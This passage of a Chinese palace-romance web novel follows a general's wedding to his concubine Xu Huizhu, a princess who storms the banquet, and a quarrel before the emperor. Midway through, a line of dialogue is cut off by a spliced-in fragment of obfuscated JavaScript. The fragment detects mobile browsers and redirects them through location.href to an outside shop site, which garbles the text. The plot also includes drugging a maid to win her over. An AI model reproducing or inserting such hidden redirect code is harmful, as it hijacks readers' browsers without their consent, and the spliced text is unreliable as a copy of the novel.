秦嬷嬷规矩行礼,正欲说明来意,却被徐慧珠抢先。
“秦嬷嬷心里在骂我?”
徐慧珠笑容灿烂,入在秦嬷嬷的眼里,格外刺眼。
“什么?大小姐说什么?老奴何时骂过大小姐?”
“今天早上啊,秦嬷嬷在心里偷偷骂过我,骂我是不要脸的狐媚子。还好奇我如何勾得将军?秦嬷嬷,是也不是?”徐慧珠轻轻一诈,秦嬷嬷就露了馅儿。
秦嬷嬷在深宫里见惯各式斗法,还是头一回遇见徐慧珠这样怪异的女子,她顿觉得一阵无力感席卷全身,陷入深深的自我怀疑中。
徐慧珠绕着秦嬷嬷走了一圈,还伸出手捏了捏秦嬷嬷的脸颊,又摸了摸秦嬷嬷的手,感叹道,“秦嬷嬷这般委屈自己,实在是暴殄天物啊。”
说着,徐慧珠拉着秦嬷嬷走到梳妆台,“秦嬷嬷信我一回。”
“大......大小姐?”秦嬷嬷想要拒绝,又心里好奇的紧,徐慧珠这是要做什么?打的什么坏主意?
“秦嬷嬷心里好奇我如何勾得将军,那就大方问呀,我告诉秦嬷嬷便是。”徐慧珠说话的时候,口吐热气,吹在秦嬷嬷的耳尖上,酥痒的心慌。
“大......大小姐愿意告诉老奴?”秦嬷嬷似是被催眠了,说话带着颤音。
“香玉姑姑才三十五岁,正是女子风韵成熟的年纪,怎么口口声声自称‘老奴’呢?”徐慧珠已换了称呼,从秦嬷嬷改口成香玉姑姑。
秦嬷嬷,本名秦香玉。
“弯堤弱柳遥相瞩,雀扇团圆掩香玉。”徐慧珠夸赞道,“香玉姑姑的肌肤细腻光滑,犹如美玉一般。”
不过
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一刻钟的光景,铜镜里的女子面目含情,眼波流转,美得令秦香玉陌生。
入宫久了,久到秦香玉快要遗忘自己的名字,她一直以为宫人叫她一声“秦嬷嬷”,是对她的尊敬,是她高奴一等的身份象征。
她是奴婢没错,但奴婢也分尊卑,更分三六九等。
她一路攀爬,从最底层爬到顶端,终于能俯视众奴。
曾经她引以为傲的“秦嬷嬷”,如今忽然就生厌了,徐慧珠一句“香玉姑姑”,竟让她寻回年轻时的秦香玉。
是呀,她才三十五岁,在深宫里美人儿的花期很短暂。
她是奴婢,不用以色侍人,但三十五岁年纪的奴婢已经很老了,老到旁人叫她“秦嬷嬷”。
“大小姐,您......您......”
秦香玉的脸颊,通红发烫,一颗心砰砰跳动,快要跳出胸腔。
她觉得好热,热到恨不能脱光衣裙,翩翩起舞一曲。
“香玉姑姑难道不知道男女在一处,能让对方快乐的方式很多,若香玉姑姑愿意学,我教你啊。”
“不过,我要是香玉姑姑,便想法子求出宫。”
“香玉姑姑攒下的银子够用两辈子了,待出了宫门,远离京城,给自己买一处大宅,娇养三两位美男子,享受人间快活。”
“香玉姑姑若想通了,便来寻我,我帮你啊。”
秦香玉只觉得一颗心,慌了乱了,又莫名的安静下来。
接下来的三日,她把自己关在房间里,日日回想徐慧珠说过的每一句话每一个字,夜里春梦入侵,一个接一个的春梦,那么美妙,那么快活,她好想醉死在春梦里。
醒来,心里空空的,身体难受到如万只蚂蚁啃咬,又酥又痒又痛。
秦香玉想了三日,终下决心,为自己换一种新鲜的活法,往后的光景里,她只爱自己。
秦香玉又来求见徐慧珠,一见面先行跪礼,这回是真心实意的急切,“大小姐,奴婢......奴婢愿认新主。”
药七分,引诱三分,秦香玉入了徐慧珠亲手挖的陷阱,如何爬得出来。
“奴婢......奴婢心中藏着一个秘密,奉给新主。”
第044章:将军亲手上新娘妆
大婚前一日,姜夜沉当值,在御书房见到皇后娘娘,直接当着皇上的面张口讨要秦香玉。
“秦香玉?”皇后娘娘一时未反应过来,不明姜夜沉说的是谁。
“夜沉,你太惯着那位贵妾了,又是赐婚旨意,又是嫡妻规格迎娶,又是什么妾行妻权......现在又跑到朕的面前挖皇后的宫人。”
“你呀你呀,让朕说你什么好,说出去丢的不仅是你的脸,还丢朕的脸面......”
皇上忍俊不禁,笑骂姜夜沉没出息,为了一个宫里的嬷嬷,求完他,又求皇后。
“好好好,就让那个秦......秦什么来着,直接去将军府。”
皇帝下令太快,快到皇后娘娘好半晌没回过神。
这算什么,她派去为难徐慧珠的秦嬷嬷,却成了徐慧珠的奴仆,她连见一面秦嬷嬷,已是不能了。
当然,秦香玉这个小小的插曲,未泛起一丝涟漪。
可忽略。
只是,皇后娘娘一回想皇上和姜夜沉说话的融洽气氛,是君臣,却也像民间父子。
皇后娘娘被自己生出的可怕念头吓着了......
另一边,煮雨院迎来李氏和**月。
她们来为徐慧珠添妆。
李氏和**月不愧为母女,出手实在的喜人,直接添妆四箱银元宝。
一人两箱添妆大礼。
“礼物我十分欢喜,母亲和明月妹妹费心了。”
感谢的话,徐慧珠说得真心实意。
毕竟,四箱白花花的银元宝,摆在煮雨院,看着,心情大好。摸着,浑身舒畅。
若不是李氏母女在场,她定要一边哼着小曲,一边把玩。
“银子而已,姐姐日后若缺银子花,便说一声,我开母亲的库房给姐姐搬银子。”**月说得豪气,在给徐慧珠添妆这件事情上,母女俩心意相通。
**月的目光太过热切,弄得徐慧珠心里暖暖的,快要被这个不怎么相熟的妹妹感动到了。
“慧珠,自将军住进府里,我瞧着将军看你的眼神,将军对你的好,出自真心。”
“但,有一句忠告,我还是要多嘴嘱咐:女人可仗男人的势,却别一根筋依赖男人,事事依靠男人解决,万万守住自己的心,再爱自己多一点点。”
三人正说着话,姜夜沉已经走到院门口。
“还有,莫太依靠娘家,这尚书府能少回就尽量少回,过好自己的日子要紧。”
李氏说完,拉着**月急匆匆离开,生怕迟走一会儿,徐慧珠要挽留她共用晚膳。
“李氏想的通透,活的通透,是个有趣之人。”
姜夜沉难得评价,可见他对李氏的感官不差,比徐从德高出一大截。
徐慧珠昨日只是提说一嘴,今日姜夜沉就拿着秦香玉的身契,果然,是属于锦衣卫的办事效率。
快到让人惊喜又惊艳。
“皇后没为难?”
“有皇上在,皇后娘娘哪有机会。不过,今日我还当着皇上和皇后娘娘的面,扬言要无限度宠你。日后,皇后娘娘就是想针对你,也会三思而后行。”姜夜沉做了什么好事,是一定要邀功的。
他每晚和徐慧珠同榻而眠,不仅睡得安稳,还不再受噩梦侵扰。
还有一个惊奇的发现,他渐渐上瘾和她说话的感觉。
不拘说话内容,她说他听,或他说她听,他的心情好的不得了。
“徐大人已放出消息,老夫人不顾长孙女大婚,执意启程去悦城守护幺儿徐从武。”
“这回,徐大人也算豁得出去,不惜自黑名声......”
付出三分代价,得到七分好处,徐从德自是愿意。
“将军,谢谢您。”
余下的话不必细说,徐慧珠其实想矫情地煽情一句:谢谢将军纵容她的任性。
她顺从心意,不愿再委屈自己,欲在大婚前赶走老夫人,为此备下好几种法子,还未来得及付诸行动,就被姜夜沉抢了活。
他宠她,才不愿她的手沾染污垢。
她打小没有娘亲的疼爱呵护,每回偷听完李氏的墙角,回来偷偷藏在锦被里哭,也偷偷羡慕着**月。
她以为自己早已学会习惯,学会忍受,如今却因为姜夜沉的屡次相护,她的心,暖如阳光晒过。
“慧珠打算如何谢我?以身相许的话,恕我消受不起。”
姜夜沉原本冷清的眼里,不知何时染上一抹欲色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643810|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>徐慧珠:......
哪有男人不能人道,嚷嚷的人尽皆知不说,旁人不提,他倒是热衷于自揭伤疤。
生怕知道的人还不够多?
或许说了很久的话,徐慧珠觉得困倦,她窝在姜夜沉的怀里,撑着最后一丝清明发问,“将军今夜不回将军府?”
“明日便是吉日,将军该从将军府出发来接我,将军答应过我要骑着骏马踩着祥云来......”
二月十四,大吉之日,宜嫁娶。
内务府总管成大监起了个大早,带着内侍浩浩荡荡赶到尚书府煮雨院,一进院门,就愣神了,敢情他起得大早赶了晚集。
将军比他还早。
成大监哪知,将军根本就没回将军府。
成大监只能站在院子里,望着那棵四季桂树发愁。
一刻钟过去了、两刻钟、三刻钟......成大监生平头一回体会到“度日如年”的煎熬。
这滋味,磨人啊。
再耽搁下去,误了将军的吉时,谁能担得起这个责任?
“大福兄弟,要不......您催催?”成大监着急啊,“先让全福夫人进去为大小姐上妆。”
大福守着门,跟个门神似的,“将军有令,大小姐的新娘妆,将军亲自上。”
“我是不敢进去坏了将军的兴致,成大监,要不我让开道,你来?”
今儿是将军娶亲的大喜日子,将军最大,谁来了都得等上一等。
除非皇帝亲临。
成大监连连摆手,他没那个胆量,就不逞强了。
“大福兄弟,奴才...奴才也不敢啊。”
全福夫人是襄王妃,身份尊贵,生育三子三女,在京城里的名声极好。
襄王妃站在一旁,脸色怪异,她当了好些回全福夫人,婚宴参加不少,新娘妆上过不少,还是头一回见识,新郎官亲手给新妇上妆......
是大千世界无奇不有,还是她孤陋寡闻了?
“襄王妃您看这......这......”
成大监有点儿愁,但没苦着脸,眼睛笑的快眯成缝,能爬上内务府总管的高位,就是一条滑不溜湫的黄鳝。
“如何是好呀...”
第045章:满城风光不及夫人
“将军热心,替我做活,今日啊,我就光明正大偷个懒。”
“听闻成大监煮茶手艺一绝,不如我们坐在这桂花树下,一边赏景一边饮茶,岂不美哉。”
得!
襄王妃都不急不慌,他着急个什么劲头。
“奴才技艺粗鄙,能为襄王妃煮茶,是奴才的福气。”
“襄王妃您请坐,奴才站着就好。”
襄王妃是主,他是仆。
襄王妃坐着,他得站。
襄王饮茶,他侍奉。
这才是天经地义的正理。
襄王妃和善,给他一介奴才脸面,他得知趣,不能主子给脸就上脸。
“坐吧,就当是陪我解闷闲话,今儿不论规矩......”
“是是是,奴才谢襄王妃赏。”成大监小心翼翼坐在木凳上,微风吹过,桂花落在茶盏里,为茶水平添一抹花香。
“看来这位大小姐是很懂生活情调的妙人啊。”襄王妃未见徐慧珠,先生好感。
成大监心里默默记下,回头就搜罗一株四季桂,也给襄王妃种在院子里。
内室,徐慧珠推了一把姜夜沉,“将军该起身了。”
姜夜沉抱得紧,她动弹不得。
哪有新人在成婚当日睡到朝阳升起?还应该问谁家新郎官偷懒直接从娘家接走新妇?
“慧珠,每一个夜晚,我都想拥你入眠。”
这一大早,姜夜沉不吃早膳先吃蜜果子,嘴巴跟抹了糖似的,说甜腻腻的情话。
所以,他昨晚还赖在她的床上,赖得理直气壮。
话,都被他说了。
理,都被他占了。
“夫人,为夫为你上妆。”
越相处,他们给予彼此的惊喜越大,惊艳越甚。
“将军真会?”
“夫人拭目以待。”
一刻钟后,徐慧珠欣赏着铜镜里的自己,心生欢喜,“将军的这双手,武可**,文可描妆,将军诚不欺我。”
“夫人,走吧,莫怕,为夫牵着你的手,回家。”姜夜沉牵住徐慧珠的手。
他如何看破她的害怕?
姜夜沉大婚,参加婚宴的宾客云集,凑热闹的人也多,但无一人敢闹腾,一个比一个规矩。
委屈来客了。
将军府人口简单,从前就姜夜沉一个主子,后院空荡,归结于姜夜沉曾放下狠话,谁敢对他使美人计,他就把美人的全家送到军中红帐效力。
听听,姜夜沉说的什么浑话。
旁人白送美人的好心,被姜夜沉当作驴肝肺。
偏偏,皇帝龙心大悦,还接话,“夜沉此法甚好,为将士谋福利,还为朝廷省下军中红帐的资费。”
“夫人,为夫的父母双亡,族人远在明城,不甚亲近,唯有皇上对我恩重如山,如同再造父母。”
“来,随我跪天地跪皇上。”
“好,听将军的。”徐慧珠小声应道。
她的手,逃不出姜夜沉的掌心,越挣扎,反被他抓得越紧。
“夫人不必害羞,今日满城风光不及你。”
姜夜沉还有闲情逸致跟她咬耳朵。
不,他在认真地逗弄她。
在场众人,心思各异。
襄王妃:姜夜沉这孩子是个感恩的,我和襄王没看错人。
成大监:将军对皇上忠心耿耿、日月可鉴,奴才定要将今日所见所听,悉数传达到位。
一半朝臣:活久见,将军还会拍马屁?
另一半朝臣:难怪姜夜沉能成为皇上的心腹重臣,这溜须拍马的功力和准头,谁敢争锋?
吃瓜群众:将军好疼新妇的样子,牵着的手,一路就没松开过,生怕新妇跑了吗?好一对神仙眷侣,画面美不胜收,可惜啊,天妒英才,将军不能人道......
礼毕。
礼部尚书大人薛之松正欲唱调“送入洞房”,却被姜夜沉抢话:薛大人莫急,本将军有事要宣布。
“好好好,将军请说。”薛之松自是明白,京城之大,不能得罪的大人物,皇上排第一,姜夜沉可排第二。
再说,姜夜沉大婚,由内务府和礼部联办,制定出来的章程奉给皇上过目,哪知皇上连看一眼不曾,直接转手递给姜夜沉。
“夜沉的大婚,按照夜沉的想法来准备,夜沉满意就好。”
一口一声“夜沉”,皇上待姜夜沉,何等信任,何等亲近。
皇恩浩荡啊。
姜夜沉右手牵着新妇
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,左手掀开红盖头。
传来一阵阵惊呼声。
这......
倒不是惊呼徐慧珠的姿容,徐慧珠也算美人,容貌在京城贵女里,能排得上号,却靠不到前。
近的,比不过**月和徐晓晗。远的,不及凝玉公主。
薛之松差点脱口喊出“不合规矩”,万幸他手下的动作够快,捂住自己欲作乱的嘴巴。
成大监眼色活泛,身为礼部尚书的薛之松都没阻止,他一个奴才当什么显眼包,打扰将军的兴致事大,得罪将军的事儿更大。
襄王妃与襄王在人群中对望一眼,也罢也罢,姜夜沉就不是一个死守规矩的人,战场上瞬息万变,总不能等敌人砍你一刀,你再还敌人一剑,比谁皮糙肉厚?
“本将军今日奉旨娶亲,贵妾徐慧珠。”
姜夜沉一开口,先搬出顶配靠山皇上,“从今日起,本将军特许徐慧珠妾行妻权,尊称‘徐夫人’。”
“这杯酒,本将军先干为敬。”
又说,“来,夫人,同为夫一道,敬大家。”
徐慧珠大方应道,“本夫人敬诸位。”
......
气氛陷入安静。
襄王愣神过后,接收到襄王妃的目光,率先开口,“本王恭贺将军娶得佳妇。”
薛之松只觉得口中的酒,辣的喉咙发痒,他是礼部尚书,职责所在,这个场合,气氛烘托到位,他再不说几句,只怕明日朝臣当面阴阳他,百姓嘲讽他不配当礼部尚书。
他心里发苦啊。
“将军,这......日后将军娶嫡妻,徐......徐夫人如何自处,那位嫡妻又如何......”薛之松问出了大家心里的疑问。
“本将军身为武将,保家卫国是第一要事,本将军这条命是皇上的,是百姓的。”
“本将军娶不娶嫡妻,何时娶嫡妻,本将军只听皇上的。”
“再说,本将军的身体,祸害徐慧珠就够了,怎么好意思再祸祸旁的无辜女子啊。”
“所以,薛大人此刻跟我谈未来之事,有必要吗?”
姜夜沉的声音冰冷。
“本宫不同意。”一道尖锐的女声响起。
第046章:婚宴上的抢新郎大战
凝玉公主带着五十名禁卫军闯入将军府,本就宾客齐聚,这下更显得拥挤。
“姜夜沉,本宫不同意你给她那么大的脸面,一个上不得台面的贱妾,也敢肖想将军府的女主人。”
“本宫不-同-意!”
凝玉公主伸出纤纤玉指,几乎要戳到徐慧珠的脑门上。
襄王妃看不过眼,凝玉公主这是唱哪出?
明晃晃抢亲?还是搅和婚宴?
她一个未嫁公主,跑到前未婚夫的婚宴上大闹,实在是有辱皇族清誉。
“凝玉?你替皇后娘娘走这一趟,送上祝福......”
襄王妃去拉凝玉公主,话未说完,却被凝玉公主用力甩开,万幸襄王反应够快,扶住襄王妃。
“襄王妃全福夫人当久了,被人恭维几句,就不记得自己是皇族了?一心帮着不相干的外人,是何居心?”凝玉公主先发制人,还倒打一耙。
“本宫的事,就不劳烦襄王妃闲操心。”
凝玉公主当众下襄王妃的脸,说话难听,连一句“皇婶”也不叫。
襄王妃气,襄王更气。
可,襄王妃扭到腰,痛的直冒冷汗。襄王又不能和凝玉公主吵,吵得难堪,丢的还是皇族体面。
襄王只得扶着襄王妃先离开。
待太医看诊过后,襄王气呼呼入宫,向皇上告状去了。
谁家的熊孩子,谁负责教育。
皇上不给襄王府丰厚的补偿,莫怪襄王他一把年纪,就在御书房撒泼打滚。
当然,这是后话了。
“凝玉公主好大的威风!”便是凝玉公主气势汹汹闹上门,姜夜沉仍牵着徐慧珠的手。
这一幕,刺的凝玉公主心疼。
“姜夜沉,本宫后悔了。”凝玉公主凤眼含情,湿漉漉黏在姜夜沉的身上。
众人:......
凝玉公主后悔了?
不用等明日,京城最猛八卦,由凝玉公主新鲜贡献。
姜夜沉脸色一沉,浑身散发阴冷气息,只觉得无比恶心,“凝玉公主把本将军当什么?食之无味弃之可惜的狗骨头?”
“两年前,凝玉公主你跑到北疆军营,给本将军下药,差点贻误战机。”
“下药未得逞,你回京后向皇后娘娘诬告本将军污你清白,以死相逼求皇上赐下婚约。”
“两个月前,你闯入御书房,当着朝臣的面撕毁婚约,扬言绝不能嫁给一个不能人道的废物,还逼本将军发誓不得娶嫡妻,只能娶徐家女为妾。”
“现在,你硬闯本将军的婚宴,侮辱本将军的夫人在前,推伤襄王妃在后,又大言不惭说你后悔了......凝玉公主,你的脸呢?”
气氛凝滞。
诡异的安静。
原来,内幕如此劲爆。
原来,受委屈被算计的一直是姜夜沉。
原来,凝玉公主可以不要脸到这般境界。
姜夜沉和凝玉公主这是要致死量的互相伤害?
“凝玉公主你一句轻飘飘后悔,意欲何为?”
姜夜沉偷空捏了捏徐慧珠的手指,她便明白,他撕破脸,为自己,也为她。
凝玉公主不是好东西,她身后的靠山皇后娘娘更是大恶大坏之人。
“凝玉公主,你是想把北疆之王、护国将军、及禁卫军统领的我,变成你的禁脔。你与男子欢好之时,便强迫我欣赏......以满足你的变态心思。”
“你要摧毁我的身体,毁灭我的精神。凝玉公主,你是来为太子夺北疆兵权吧......”
天呐。
众人:......
所以,绕这一圈,是太子为谋北疆兵权?
这才是真相。
姜夜沉到底哪来的底气,敢抽太子的脸?
对了,姜夜沉依仗的是皇上,难道说,皇上对太子不满?
薛之松这回往后缩,干脆缩到成大监身边,两人对视一眼,又默契后退两三步。
“姜夜沉?”凝玉公主头一回见识姜夜沉说这么多话,却好似在当街剥她的衣裳,一件又一件剥光,然后带头唾弃她。
凝玉公主今日是偷偷出宫,这五十名禁卫军也是她偷拿皇后娘娘的令牌带来的。
她一时回不过神,她不顾公主之尊,来寻姜夜沉,她和他谈情,他却诬陷她图谋不轨北疆兵权?
“姜夜沉,本宫说,本宫后悔了。本宫不能眼睁睁看你成亲,就算你不能人道,本宫仍心悦你啊。”
“本宫......本宫发誓,不能为你守身,但绝对为你守心。”
“姜夜沉,本宫亲手捧着本宫一颗
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心悦你的心,还不够吗?”
啪啪。
“公主殿下要和我抢男人?”
徐慧珠脸颊通红,满身酒气,先呼凝玉公主两巴掌,“好啊,我应下你的战书。”
“今日不论身份,你是李凝玉,我是徐慧珠。你我用最简单最原始的法子,打一架,定输赢,如何?”
男人才决斗,女人也决斗吗?
徐慧珠何时喝的酒,到底喝了多少,醉成这般模样。
姜夜沉忽然明白徐慧珠要做什么了。
真是调皮。
“啊......”
醉酒的新妇和懵圈的公主,因为抢夺新郎官姜夜沉打起来了。
据说,凝玉公主尚武,皇后娘娘专门为凝玉公主请武先生教导。
倒是徐慧珠,此贵女信息量太少,险些不在京城贵女圈。
连凝玉公主带来的禁卫军都以为凝玉公主完胜,万万没想到,徐慧珠三两下就骑在凝玉公主的身上,又打又掐,看着毫无章法,却速度极快。
凝玉公主顶着巴掌印的脸,痛的嗷嗷直叫唤......
这画面太刺激,众人忍不住看了又看,心里默默给徐慧珠竖起大拇指。
“好了,夫人,累了吧,留点儿力气,一会儿还得入洞房。”姜夜沉一把拉起徐慧珠,拥入怀中。
“将军,我......我头好晕。”徐慧珠倒在姜夜沉的怀里,装晕,装死。
“夫人别晕呀,还得入洞房。”
姜夜沉抱起徐慧珠,一连串下令。
“大福,送凝玉公主回宫。”
“锦衣卫听令,禁卫军擅离职守、罔顾军令法纪,将这五十人下诏狱,本将军假满后禀告皇上,将一干人等除军籍,流放悦城挖铁矿。”
又说,“宴会继续,有劳成大监和薛大人操心,本将军得和夫人入洞房,办人生大事去了。”
气氛又陷入诡异的安静。
静止画面。
成大监:还得是杀神将军啊。
薛之松:还是我看得通透,京城不能得罪的大人物,皇上第一,姜夜沉第二。
一半八卦群众:不知暴揍公主是什么感觉?无与伦比的爽?刚才没趁乱踩一脚或掐一把,吃了大亏啊。
另一半八卦群众:姜夜沉不能人道,如何洞房?
第047章:男人也是祸水
徐慧珠偷喝了一壶酒,没办法,酒壮怂人胆,毕竟她打的是公主。
都怪她手痒难耐,一时没控制住。
她就是要杀凝玉公主这只野鸡,给所有对姜夜沉怀有不轨心思的猴儿看,敢跟她徐慧珠抢男人,先武力决斗一顿再说。
谁能打得赢她啊。
今日之后,若太子找姜夜沉茬,就是染指北疆兵权。
若皇后娘娘和凝玉公主发难徐慧珠,还是为夺北疆兵权。
也可能,皇上认为,这北疆兵权还是交给姜夜沉绝对安全。
亲子,不可信啊。
徐慧珠是真醉了。
迷迷糊糊中,徐慧珠感觉有人在啃她的嘴唇。
不对呀,她嫁的是姜夜沉,安国赫赫有名的美男子。
不是猪。
猪才啃人。
皇帝只给姜夜沉批准三日婚嫁,倒不是皇上小气,他也是为姜夜沉着想。
姜夜沉不能人道,白日黑夜对着新妇,多尴尬啊。
御书房里。
姜夜沉跪在地上,“臣有罪,请皇上降罪。”
“有罪?夜沉,那你同朕说说,你错在哪里?朕给你一次辩解的机会。”
婚宴上发生的事,皇帝自然知晓全程。
前半段,襄王如实告状。
后半段,成大监和薛之松如实禀报。
皇帝以为姜夜沉在当时就撂下新妇入宫,当面陈情。
谁成想,他许姜夜沉三日婚假,姜夜沉当真休够假后才请罪。
皇帝心里不得劲,似乎他才是被姜夜沉撂下的可怜虫。
皇帝又想,他信任姜夜沉,姜夜沉何尝不是全心全意信任着他。
明君和忠臣,成就一段历史佳话。
这么一想,皇帝气消了大半。
姜夜沉假意不明,皇帝让他说,他就如实说,照直说,反正婚宴那一日,无数双眼睛看着,不缺人证。
当面上眼药,也是正人君子所为。
“回禀皇上,太子一事,皇后娘娘这是怪罪于臣,才会纵容凝玉公主大闹臣的婚宴。”
“凝玉公主今日偷拿皇后娘娘的玉章调令五十名禁卫军,若不严惩,保不准有人学样,明日调令更多禁卫军生事......”
“我安国将士,使命便是忠心皇上,守国护民,除了皇上您,旁人不能染指分毫。”
果然,皇帝的脸色变得严肃起来,心里憋了整整三日的气,烟消云散。
禁卫军守护的是京城安危,凝玉公主就算是皇族公主,也没有调令禁卫军为她干私活的权力。
再说,皇后娘娘是真看不住玉章,还是有意为之,只怕赋予皇后娘娘调令部分锦衣卫的玉章,是保不住了。
姜夜沉明明是来请罪,说着说着,皇帝都被他绕进去,差点开口称赞他思虑在理。
自古帝王,权力必须牢牢抓在自己的手里,臣子的忠心只能属于帝王,哪怕是皇后、太子等人,也只能得到朝臣的尊重。
可给面子,不可付忠心。
“这么说来,夜沉你没罪反而有功了?”皇帝的语气已软和不少。
“不,臣有罪。”姜夜沉跪得笔直,如一棵青松。
皇帝看着姜夜沉,不知不觉嘴角上扬,越看心里欢喜渐浓。
皇帝当然知道太子嫉妒姜夜沉,由嫉妒生怨恨,只能证明太子无用无能。
皇帝对姜夜沉的欣赏、看重和信任,那是因为他看着姜夜沉,仿佛看见年轻时意气风发的自己,几乎一模一样。
人,最爱的当然是自己。
“臣不知因何得罪太子,这些年私下里,太子殿下屡次寻臣麻烦,臣如今......实在烦不胜烦、避无可避。”
“臣思来想去,便猜测太子殿下是不是惦记臣手里的北疆兵权和锦衣卫......除此之外,臣想不出旁的理由。”
“那日,凝玉公主带着五十名禁卫军突闯婚宴,臣一时情绪失控,才当众失言。”
皇后娘娘站在殿门口,听得满心满眼怒火,难怪太子不得皇上喜欢,原来真的是姜夜沉这根搅屎棍在其中乱搅。
姜夜沉这般针对太子,难道说他暗中已和哪位皇子勾结?
“大将军一句失言,仅凭猜测,就让太子人在东宫,却被泼的一身脏污。”
“本宫倒是不曾想到,大将军也是会背后捅刀的小人。”
李生德跟在后面,苦着一张脸,噗通跪在地上先认错认罪为上策
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,“老奴......老奴拦不住皇后娘娘,老奴罪该万死。”
“臣妾拜见皇上。”皇后难得行大礼。
可见她心里窝着火,摆明了要皇上今日不得偏袒姜夜沉,必须得给无辜受牵连的太子,还有挨打的凝玉公主主持公道,不然,莫怪她要发一发皇后的威风,亲自教训姜夜沉。
“大将军,本宫问你一句,到底是太子与你为难,还是大将军你仗着皇上的宠信,不把太子放在眼里?”
“太子可曾亲口说过,想要北疆兵权?想换掉你这锦衣卫统领?”
说来,这是皇后头一回和姜夜沉对上。
凝玉公主成事不足败事有余,再加上东宫接二连三出事,皇后哪能坐得住,必须想法子打消皇帝的疑虑,再谋其他。
帝心难测。
但,皇后娘娘不得不猜,不得不测。
皇帝可以对太子失望不满,但不能生出疑心。
先前皇后娘娘不止一回劝说太子,对手握实权又得皇上宠信的姜夜沉,拉拢为上,哪怕暂且放下身段,也要拉拢。
皇后娘娘之所以放任凝玉缠上姜夜沉,自然是为了姜夜沉手中的权力,为太子所用。
可,计划再好,也挡不住变故频生。
皇后娘娘步步紧逼,“还有,就算凝玉任性妄为,自有皇上和本宫教育。”
“徐慧珠是什么身份,竟敢当众殴打当朝公主?”
皇后娘娘看着凝玉公主满身伤痕和狼狈,又心疼又愤怒,可皇上指着凝玉公主的鼻子责骂一通,还逼凝玉公主带上厚礼去襄王府向襄王和襄王妃认错......然后再说旁的事情。
她就知道,皇上这是爱屋及乌,偏袒姜夜沉到骨子里了。
既如此,凝玉公主受的委屈,她这个当母后的亲自**。
“回禀皇后娘娘,夫人......夫人她当日醉酒,提出和凝玉公主决斗,凝玉公主也没反对......”
姜夜沉直接甩锅给皇上,“臣知错,都怪臣这张容颜,惹得凝玉公主一时意乱情迷。”
“臣只听说过红颜祸水,没想到身为男子的臣也会因为长得好看,就莫名变成祸水......”
第048章:皇后娘娘逼臣守寡
“从今日起,臣戴上面具,再不会碍凝玉公主的贵眼。”
姜夜沉是个行动派,立马从怀里取出一块黑巾,这就戴上了。
“姜夜沉,你......你......”皇后娘娘全力出击,打到一团浆糊,没伤着姜夜沉分毫,却沾染一手脏污。
“好了!”
皇帝扔掉手里的毛笔,飞起的墨汁溅到皇后娘娘的脸颊,“当着朕的面吵闹,成何体统。”
“皇后,你贵为国母,却管不好一双儿女。太子妃是**的,皇后你不清楚吗?”
“还有凝玉,身为皇族长公主,竟跑到朝臣的婚宴上大闹,皇后你说,凝玉丢的是谁的脸?”
“朕的脸!”
“禁卫军怎么回事?凝玉要做什么?意图谋反吗?”
“皇上息怒。”皇后娘娘心惊,她还是低估了皇上对姜夜沉的宠信。
“凝玉她就是个公主,如何敢谋反?皇上,您......您怎么能如此想凝玉啊,您这样说,是要逼死凝玉吗?”
“凝玉未生谋反之心,皇后,你告诉朕,谁?”皇上的声音,冰冷刺骨,犹如冰刀,一下又一下刺向皇后娘娘的心口。
皇后娘娘忽然想到太子的抱怨:如果姜夜沉也是皇子,那父皇的眼里还会有其他儿女的位置吗?
事实是,再多儿女都比不上一个“姜夜沉”。
皇上对姜夜沉的偏宠,过分又过火。
“夜沉,还有你,瞧瞧你那点儿出息。”
“你是娶亲,徐从德的嫡女就是给你做妾,也是她高攀,而不是求一座菩萨回家供着。”
“新妇婚宴醉酒,还敢同公主决斗,她赶明儿是不是还想考个武状元光宗耀祖......”
听听。
越听,皇后娘娘的心越凉,凉透了。
“李生德,传朕旨意。”
“待襄王妃身体痊愈,由她教导将军府新妇规矩,日后任何宴会,新妇不得饮酒。”
“在此之前,新妇禁足,每日劳作,为边疆将士缝制军衣鞋袜。”
“是,奴才领旨。”李生德擦了一把额头上大冷汗,悄悄看了一眼姜夜沉,麻溜退出去。
“皇上英明,臣听皇上的。慧珠身为武将家的夫人,能为边疆安稳尽一份力,是她之幸。”
姜夜沉该说“甜言蜜语”时,一点儿都不含糊。
明明是妾,却称其“夫人”,也罢也罢,姜夜沉心里的苦,皇帝何尝不知,他的折腾,无非是宠着一个女人罢了。
“夜沉,朕已悬赏万金张贴皇榜,也派人去寻找鬼医仙的踪迹,再说普神医就在将军府住着,他的医术比太医不差......你的身体,定有转机。”
说着说着,皇帝竟安抚起了姜夜沉。
这一刻,皇后娘娘觉得自己待在这里,多余又碍眼,她终是感同身受太子的怨愤和嫉恨。
皇后娘娘死死压住内心滋长的荒诞念头,“皇上?”
皇后娘娘的语调都变了,心惊一波接一波,觉得快要不会呼吸,“皇上,挨打受疼的是我们的女儿,金尊玉贵的皇族公主啊。”
“皇后的意思,是说朕处事不公?”皇帝的手指一下又一下敲打桌案。
皇帝看了一眼姜夜沉,总之看多少眼,欣赏和满意就更添一分。
人就怕对比,皇帝迁怒于皇后娘娘,一双儿女教育的失败,如何好意思跑到他的面前讨要公道?
“臣妾万万不敢,可徐慧珠殴打皇族公主,痛的是身体,毁的是脸面,若不严惩徐慧珠,难道告诉世人,我皇族人人可欺可辱?”
“皇上,臣妾请求皇上将那胆大妄为、以下犯上的徐慧珠,杖毙。”
皇后娘娘觉得已经够给姜夜沉脸面了,若姜夜沉识大局,就该跪谢她的仁慈之心。
姜夜沉在婚宴上说的那些话,每一句话每一个字,都是将太子和凝玉拉入万劫不复的深渊。
得益于今日试探,也让皇后娘娘明白:皇上疑心太子,完全拜姜夜沉所赐。
但,花无百日红。
皇后娘娘在深宫里看过无数花儿从绽放到凋落,再到死亡的过程。
她不信,姜夜沉能一直得皇上宠信。
有些账,来日方长,她会慢慢清算。
“皇上,臣身已残疾,慧珠不嫌,愿与臣长相厮守,恩爱白头。”
“可,这才新婚三日,皇后娘娘就逼臣守寡......”
“皇后娘娘若不满
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皇上的处罚,臣......只能替夫人受过,请凝玉公主随意打骂臣一顿,打残打死,都是臣的命。”
